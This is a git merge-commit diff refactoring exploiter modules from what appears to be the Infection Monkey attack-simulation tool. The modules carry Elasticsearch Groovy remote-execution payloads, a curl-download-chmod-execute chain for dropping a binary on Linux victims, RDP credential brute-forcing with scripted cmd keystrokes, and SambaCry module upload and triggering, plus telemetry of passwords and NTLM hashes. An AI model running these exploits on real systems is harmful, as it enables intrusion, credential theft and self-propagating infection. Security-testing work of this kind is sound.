Merge remote-tracking branch 'origin/develop' into feature/improve-ui

This commit is contained in:
Itay Mizeretz 2017-10-16 17:54:19 +03:00
commit cb1d4f3445
17 changed files with 455 additions and 521 deletions

View File

@ -5,13 +5,31 @@ __author__ = 'itamar'
class HostExploiter(object): class HostExploiter(object):
__metaclass__ = ABCMeta __metaclass__ = ABCMeta
_target_os_type = []
def is_os_supported(self, host): _TARGET_OS_TYPE = []
return host.os.get('type') in self._target_os_type
def __init__(self, host):
self._exploit_info = {}
self._exploit_attempts = []
self.host = host
def is_os_supported(self):
return self.host.os.get('type') in self._TARGET_OS_TYPE
def send_exploit_telemetry(self, result):
from control import ControlClient
ControlClient.send_telemetry(
'exploit',
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
'info': self._exploit_info, 'attempts': self._exploit_attempts})
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
@abstractmethod @abstractmethod
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
raise NotImplementedError() raise NotImplementedError()

View File

@ -11,9 +11,8 @@ import requests
from exploit import HostExploiter from exploit import HostExploiter
from model import MONKEY_ARG from model import MONKEY_ARG
from model.host import VictimHost
from network.elasticfinger import ES_SERVICE, ES_PORT from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
__author__ = 'danielg' __author__ = 'danielg'
@ -21,38 +20,40 @@ LOG = logging.getLogger(__name__)
class ElasticGroovyExploiter(HostExploiter): class ElasticGroovyExploiter(HostExploiter):
_target_os_type = ['linux', 'windows']
# attack URLs # attack URLs
BASE_URL = 'http://%s:%s/_search?pretty' BASE_URL = 'http://%s:%s/_search?pretty'
MONKEY_RESULT_FIELD = "monkey_result" MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' JAVA_GET_TMP_DIR =\
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" JAVA_CMD = GENERIC_QUERY \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
def __init__(self): _TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
def is_os_supported(self, host): def is_os_supported(self):
""" """
Checks if the host is vulnerable. Checks if the host is vulnerable.
Either using version string or by trying to attack Either using version string or by trying to attack
:param host: VictimHost
:return: :return:
""" """
if host.os.get('type') not in self._target_os_type: if not super(ElasticGroovyExploiter, self).is_os_supported():
return False return False
if ES_SERVICE not in host.services: if ES_SERVICE not in self.host.services:
LOG.info("Host: %s doesn't have ES open" % host.ip_addr) LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
return False return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.') major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
major = int(major) major = int(major)
minor = int(minor) minor = int(minor)
build = int(build) build = int(build)
@ -62,19 +63,17 @@ class ElasticGroovyExploiter(HostExploiter):
return False return False
if major == 1 and minor == 4 and build > 2: if major == 1 and minor == 4 and build > 2:
return False return False
return self.is_vulnerable(host) return self.is_vulnerable()
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
assert isinstance(host, VictimHost) real_host_os = self.get_host_os()
self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters
real_host_os = self.get_host_os(host) if 'linux' in self.host.os['type']:
host.os['type'] = str(real_host_os.lower()) # strip unicode characters return self.exploit_host_linux()
if 'linux' in host.os['type']:
return self.exploit_host_linux(host, depth, src_path)
else: else:
return self.exploit_host_windows(host, depth, src_path) return self.exploit_host_windows()
def exploit_host_windows(self, host, depth=-1, src_path=None): def exploit_host_windows(self):
""" """
TODO TODO
Will exploit windows similar to smbexec Will exploit windows similar to smbexec
@ -82,150 +81,148 @@ class ElasticGroovyExploiter(HostExploiter):
""" """
return False return False
def exploit_host_linux(self, host, depth=-1, src_path=None): def exploit_host_linux(self):
""" """
Exploits linux using similar flow to sshexec and shellshock. Exploits linux using similar flow to sshexec and shellshock.
Meaning run remote commands to copy files over HTTP Meaning run remote commands to copy files over HTTP
:return: :return:
""" """
uname_machine = str(self.get_linux_arch(host)) uname_machine = str(self.get_linux_arch())
if len(uname_machine) != 0: if len(uname_machine) != 0:
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
dropper_target_path_linux = self._config.dropper_target_path_linux dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)): if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host) LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected return True # return already infected
src_path = src_path or get_target_monkey(host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux): if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
return False return False
self.set_file_executable_linux(host, dropper_target_path_linux) self.set_file_executable_linux(dropper_target_path_linux)
self.run_monkey_linux(host, dropper_target_path_linux, depth) self.run_monkey_linux(dropper_target_path_linux)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
return True return True
def run_monkey_linux(self, host, dropper_target_path_linux, depth): def run_monkey_linux(self, dropper_target_path_linux):
""" """
Runs the monkey Runs the monkey
""" """
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & ' cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
self.run_shell_command(host, cmdline) self.run_shell_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline) self._config.dropper_target_path_linux, self.host, cmdline)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
def download_file_in_linux(self, host, src_path, target_path): def download_file_in_linux(self, src_path, target_path):
""" """
Downloads a file in target machine using curl to the given target path Downloads a file in target machine using curl to the given target path
:param host:
:param src_path: File path relative to the monkey :param src_path: File path relative to the monkey
:param target_path: Target path in linux victim :param target_path: Target path in linux victim
:return: T/F :return: T/F
""" """
http_path, http_thread = HTTPTools.create_transfer(host, src_path) http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path: if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
return False return False
download_command = '/usr/bin/curl %s -o %s' % ( download_command = '/usr/bin/curl %s -o %s' % (
http_path, target_path) http_path, target_path)
self.run_shell_command(host, download_command) self.run_shell_command(download_command)
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
if (http_thread.downloads != 1) or ( if (http_thread.downloads != 1) or (
'ELF' not in 'ELF' not in
self.check_if_remote_file_exists_linux(host, target_path)): self.check_if_remote_file_exists_linux(target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False return False
return True return True
def set_file_executable_linux(self, host, file_path): def set_file_executable_linux(self, file_path):
""" """
Marks the given file as executable using chmod Marks the given file as executable using chmod
:return: Nothing :return: Nothing
""" """
chmod = '/bin/chmod +x %s' % file_path chmod = '/bin/chmod +x %s' % file_path
self.run_shell_command(host, chmod) self.run_shell_command(chmod)
LOG.info("Marked file %s on host %s as executable", file_path, host) LOG.info("Marked file %s on host %s as executable", file_path, self.host)
def check_if_remote_file_exists_linux(self, host, file_path): def check_if_remote_file_exists_linux(self, file_path):
""" """
:return: :return:
""" """
cmdline = '/usr/bin/head -c 4 %s' % file_path cmdline = '/usr/bin/head -c 4 %s' % file_path
return self.run_shell_command(host, cmdline) return self.run_shell_command(cmdline)
def run_shell_command(self, host, command): def run_shell_command(self, command):
""" """
Runs a single shell command and returns the result. Runs a single shell command and returns the result.
""" """
payload = self.JAVA_CMD % command payload = self.JAVA_CMD % command
result = self.get_command_result(host, payload) result = self.get_command_result(payload)
LOG.info("Ran the command %s on host %s", command, payload) LOG.info("Ran the command %s on host %s", command, self.host)
return result return result
def get_linux_arch(self, host): def get_linux_arch(self):
""" """
Returns host as per uname -m Returns host as per uname -m
""" """
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX) return self.get_command_result(self.JAVA_GET_BIT_LINUX)
def get_host_tempdir(self, host): def get_host_tempdir(self):
""" """
Returns where to write our file given our permissions Returns where to write our file given our permissions
:return: Temp directory path in target host :return: Temp directory path in target host
""" """
return self.get_command_result(host, self.JAVA_GET_TMP_DIR) return self.get_command_result(self.JAVA_GET_TMP_DIR)
def get_host_os(self, host): def get_host_os(self):
""" """
:return: target OS :return: target OS
""" """
return self.get_command_result(host, self.JAVA_GET_OS) return self.get_command_result(self.JAVA_GET_OS)
def is_vulnerable(self, host): def is_vulnerable(self):
""" """
Checks if a given elasticsearch host is vulnerable to the groovy attack Checks if a given elasticsearch host is vulnerable to the groovy attack
:param host: Host, with an open 9200 port
:return: True/False :return: True/False
""" """
result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE) result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
return 'java.lang.Runtime' in result_text return 'java.lang.Runtime' in result_text
def get_command_result(self, host, payload): def get_command_result(self, payload):
""" """
Gets the result of an attack payload with a single return value. Gets the result of an attack payload with a single return value.
:param host: VictimHost configuration
:param payload: Payload that fits the GENERIC_QUERY template. :param payload: Payload that fits the GENERIC_QUERY template.
""" """
result = self.attack_query(host, payload) result = self.attack_query(payload)
if not result: # not vulnerable if not result: # not vulnerable
return False return False
return result[0] return result[0]
def attack_query(self, host, payload): def attack_query(self, payload):
""" """
Wraps the requests query and the JSON parsing. Wraps the requests query and the JSON parsing.
Just reduce opportunity for bugs Just reduce opportunity for bugs
:return: List of data fields or None :return: List of data fields or None
""" """
response = requests.get(self.attack_url(host), data=payload) response = requests.get(self.attack_url(), data=payload)
result = self.get_results(response) result = self.get_results(response)
return result return result
def attack_url(self, host): def attack_url(self):
""" """
Composes the URL to attack per host IP and port. Composes the URL to attack per host IP and port.
:return: Elasticsearch vulnerable URL :return: Elasticsearch vulnerable URL
""" """
return self.BASE_URL % (host.ip_addr, ES_PORT) return self.BASE_URL % (self.host.ip_addr, ES_PORT)
def get_results(self, response): def get_results(self, response):
""" """

View File

@ -1,19 +1,21 @@
import time
import threading
import os.path import os.path
import twisted.python.log import threading
import time
from logging import getLogger
import rdpy.core.log as rdpy_log import rdpy.core.log as rdpy_log
import twisted.python.log
from rdpy.core.error import RDPSecurityNegoFail
from rdpy.protocol.rdp import rdp from rdpy.protocol.rdp import rdp
from twisted.internet import reactor from twisted.internet import reactor
from rdpy.core.error import RDPSecurityNegoFail
from logging import getLogger
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import HTTPTools from exploit.tools import HTTPTools, get_monkey_depth
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from model.host import VictimHost
from network.tools import check_port_tcp
from exploit.tools import get_target_monkey from exploit.tools import get_target_monkey
from tools import build_monkey_commandline, report_failed_login from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from network.tools import check_port_tcp
from tools import build_monkey_commandline
__author__ = 'hoffer' __author__ = 'hoffer'
KEYS_INTERVAL = 0.1 KEYS_INTERVAL = 0.1
@ -37,6 +39,7 @@ def twisted_log_func(*message, **kw):
def rdpy_log_func(message): def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,)) LOG.debug("Message from rdpy library: %s" % (message,))
twisted.python.log.msg = twisted_log_func twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func rdpy_log.log = rdpy_log_func
@ -125,16 +128,17 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
if key.updates == 0: if key.updates == 0:
self._keys = self._keys[1:] self._keys = self._keys[1:]
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE): elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
self._wait_for_update = False self._wait_for_update = False
self._update_lock.release() self._update_lock.release()
if type(key) is ScanCodeEvent: if type(key) is ScanCodeEvent:
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special) reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
elif type(key) is CharEvent: key.is_special)
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) elif type(key) is CharEvent:
elif type(key) is SleepEvent: reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
time.sleep(key.interval) elif type(key) is SleepEvent:
time.sleep(key.interval)
self._keys = self._keys[1:] self._keys = self._keys[1:]
else: else:
self._update_lock.release() self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP) time.sleep(KEYS_SENDER_SLEEP)
@ -170,7 +174,7 @@ class CMDClientFactory(rdp.ClientFactory):
ScanCodeEvent(19, False), ScanCodeEvent(19, False),
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \ ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True), [WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command+"&exit") +\ ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True), [WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()] ScanCodeEvent(28, False), WaitUpdateEvent()]
self._optimized = optimized self._optimized = optimized
@ -228,40 +232,41 @@ class CMDClientFactory(rdp.ClientFactory):
class RdpExploiter(HostExploiter): class RdpExploiter(HostExploiter):
_target_os_type = ['windows']
def __init__(self): _TARGET_OS_TYPE = ['windows']
def __init__(self, host):
super(RdpExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID self._guid = __import__('config').GUID
def is_os_supported(self, host): def is_os_supported(self):
if host.os.get('type') in self._target_os_type: if super(RdpExploiter, self).is_os_supported():
return True return True
if not host.os.get('type'): if not self.host.os.get('type'):
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT) is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
if is_open: if is_open:
host.os['type'] = 'windows' self.host.os['type'] = 'windows'
return True return True
return False return False
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
global g_reactor global g_reactor
assert isinstance(host, VictimHost)
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT) is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
if not is_open: if not is_open:
LOG.info("RDP port is closed on %r, skipping", host) LOG.info("RDP port is closed on %r, skipping", self.host)
return False return False
src_path = src_path or get_target_monkey(host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
# create server for http download. # create server for http download.
http_path, http_thread = HTTPTools.create_transfer(host, src_path) http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path: if not http_path:
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
@ -269,7 +274,7 @@ class RdpExploiter(HostExploiter):
LOG.info("Started http server on %s", http_path) LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(host, depth-1) cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if self._config.rdp_use_vbs_download: if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % { command = RDP_CMDLINE_HTTP_VBS % {
@ -280,7 +285,6 @@ class RdpExploiter(HostExploiter):
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = self._config.get_exploit_user_password_pairs()
if not g_reactor.is_alive(): if not g_reactor.is_alive():
@ -292,27 +296,27 @@ class RdpExploiter(HostExploiter):
try: try:
# run command using rdp. # run command using rdp.
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
host, user, password) self.host, user, password)
LOG.info("RDP connected to %r", host) LOG.info("RDP connected to %r", self.host)
client_factory = CMDClientFactory(user, password, "", command) client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
client_factory.done_event.wait() client_factory.done_event.wait()
if client_factory.success: if client_factory.success:
exploited = True exploited = True
host.learn_credentials(user, password) self.report_login_attempt(True, user, password)
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
report_failed_login(self, host, user, password) self.report_login_attempt(False, user, password)
except Exception, exc: except Exception as exc:
LOG.debug("Error logging into victim %r with user" LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host, " %s and password '%s': (%s)", self.host,
user, password, exc) user, password, exc)
continue continue
@ -327,6 +331,6 @@ class RdpExploiter(HostExploiter):
return False return False
LOG.info("Executed monkey '%s' on remote victim %r", LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), host) os.path.basename(src_path), self.host)
return True return True

View File

@ -19,7 +19,7 @@ import monkeyfs
from exploit import HostExploiter from exploit import HostExploiter
from model import DROPPER_ARG from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -31,8 +31,8 @@ class SambaCryExploiter(HostExploiter):
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
""" """
_target_os_type = ['linux']
_TARGET_OS_TYPE = ['linux']
# Name of file which contains the monkey's commandline # Name of file which contains the monkey's commandline
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt" SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
# Name of file which contains the runner's result # Name of file which contains the runner's result
@ -50,21 +50,22 @@ class SambaCryExploiter(HostExploiter):
# Monkey copy filename on share (64 bit) # Monkey copy filename on share (64 bit)
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2" SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
def __init__(self): def __init__(self, host):
super(SambaCryExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
if not self.is_vulnerable(host): if not self.is_vulnerable():
return False return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
LOG.info("Writable shares and their credentials on host %s: %s" % LOG.info("Writable shares and their credentials on host %s: %s" %
(host.ip_addr, str(writable_shares_creds_dict))) (self.host.ip_addr, str(writable_shares_creds_dict)))
host.services[SMB_SERVICE]["shares"] = {} self._exploit_info["shares"] = {}
for share in writable_shares_creds_dict: for share in writable_shares_creds_dict:
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth) self.try_exploit_share(share, writable_shares_creds_dict[share])
# Wait for samba server to load .so, execute code and create result file. # Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout) time.sleep(self._config.sambacry_trigger_timeout)
@ -72,37 +73,40 @@ class SambaCryExploiter(HostExploiter):
successfully_triggered_shares = [] successfully_triggered_shares = []
for share in writable_shares_creds_dict: for share in writable_shares_creds_dict:
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) trigger_result = self.get_trigger_result(self.host.ip_addr, share, writable_shares_creds_dict[share])
creds = writable_shares_creds_dict[share]
self.report_login_attempt(
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
if trigger_result is not None: if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result)) successfully_triggered_shares.append((share, trigger_result))
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares: for share, fullpath in successfully_triggered_shares:
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath self._exploit_info["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0: if len(successfully_triggered_shares) > 0:
LOG.info( LOG.info(
"Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) "Shares triggered successfully on host %s: %s" % (
self.host.ip_addr, str(successfully_triggered_shares)))
return True return True
else: else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr) LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
return False return False
def try_exploit_share(self, host, share, creds, depth): def try_exploit_share(self, share, creds):
""" """
Tries exploiting share Tries exploiting share
:param host: victim Host object
:param share: share name :param share: share name
:param creds: credentials to use with share :param creds: credentials to use with share
:param depth: current depth of monkey
""" """
try: try:
smb_client = self.connect_to_server(host.ip_addr, creds) smb_client = self.connect_to_server(self.host.ip_addr, creds)
self.upload_module(smb_client, host, share, depth) self.upload_module(smb_client, share)
self.trigger_module(smb_client, share) self.trigger_module(smb_client, share)
except (impacket.smbconnection.SessionError, SessionError): except (impacket.smbconnection.SessionError, SessionError):
LOG.debug( LOG.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) "Exception trying to exploit host: %s, share: %s, with creds: %s." % (
self.host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds): def clean_share(self, ip, share, creds):
""" """
@ -189,18 +193,17 @@ class SambaCryExploiter(HostExploiter):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
def is_vulnerable(self, host): def is_vulnerable(self):
""" """
Checks whether the victim runs a possibly vulnerable version of samba Checks whether the victim runs a possibly vulnerable version of samba
:param host: victim Host object
:return: True if victim is vulnerable, False otherwise :return: True if victim is vulnerable, False otherwise
""" """
if SMB_SERVICE not in host.services: if SMB_SERVICE not in self.host.services:
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
return False return False
pattern = re.compile(r'\d*\.\d*\.\d*') pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = host.services[SMB_SERVICE].get('name') smb_server_name = self.host.services[SMB_SERVICE].get('name')
samba_version = "unknown" samba_version = "unknown"
pattern_result = pattern.search(smb_server_name) pattern_result = pattern.search(smb_server_name)
is_vulnerable = False is_vulnerable = False
@ -225,46 +228,19 @@ class SambaCryExploiter(HostExploiter):
is_vulnerable = True is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
return is_vulnerable return is_vulnerable
def is_share_writable(self, smb_client, share): def upload_module(self, smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
def upload_module(self, smb_client, host, share, depth):
""" """
Uploads the module and all relevant files to server Uploads the module and all relevant files to server
:param smb_client: smb client object :param smb_client: smb client object
:param host: victim Host object
:param share: share name :param share: share name
:param depth: current depth of monkey
""" """
tree_id = smb_client.connectTree(share) tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth, with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file:
self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read) smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
@ -284,18 +260,6 @@ class SambaCryExploiter(HostExploiter):
smb_client.disconnectTree(tree_id) smb_client.disconnectTree(tree_id)
def connect_to_server(self, ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share): def trigger_module(self, smb_client, share):
""" """
Tries triggering module Tries triggering module
@ -346,11 +310,50 @@ class SambaCryExploiter(HostExploiter):
else: else:
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb") return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, host, depth, location): def get_monkey_commandline_file(self, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
@staticmethod
def is_share_writable(smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
@staticmethod
def connect_to_server(ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
